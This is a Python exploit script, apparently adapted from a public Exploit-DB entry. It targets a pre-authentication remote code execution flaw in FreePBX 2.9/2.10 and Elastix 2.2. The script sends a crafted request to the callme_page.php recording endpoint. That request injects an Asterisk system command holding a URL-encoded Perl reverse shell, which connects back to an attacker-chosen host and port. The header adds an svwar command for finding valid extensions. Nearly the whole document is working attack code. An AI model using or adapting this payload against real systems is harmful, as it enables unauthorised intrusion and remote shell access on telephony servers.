#!/usr/bin/python
############################################################
# Exploit Title: FreePBX / Elastix pre-authenticated remote code execution exploit
# Date: March 23rd, 2012
# Author: muts
# Version: FreePBX 2.10.0/ 2.9.0, Elastix 2.2.0, possibly others.
# Modified By : @A3h1nt
############################################################
# Discovered by Martin Tschirsich
# http://seclists.org/fulldisclosure/2012/Mar/234
# http://www.exploit-db.com/exploits/18649
############################################################
# Example: python elastix.py 192.168.10.4 192.168.10.8 443 233
# Find Valid Extension: svwar -m INVITE -e100-500 <TARGET_IP> 

import requests
import sys


def shell(rhost,lhost,lport,extension):
	url = 'https://'+str(rhost)+'/recordings/misc/callme_page.php?action=c&callmenum='+str(extension)+'@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%22'+str(lhost)+'%3a'+str(lport)+'%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A'
	x = requests.get(url,verify=False)
	data = x.text
	check = "The call failed.  Perhaps the line was busy." 
	if check in data:
		print("Consider Finding a Valid Extension Number")
	else:
		print("Shell on the way....")

def main():
	if len(sys.argv) != 5:
		print("Syntax: python script.py <TARGET> LHOST LPORT <EXTENSION>")
		exit()
	else:
		shell(sys.argv[1],sys.argv[2],sys.argv[3],sys.argv[4])

main()
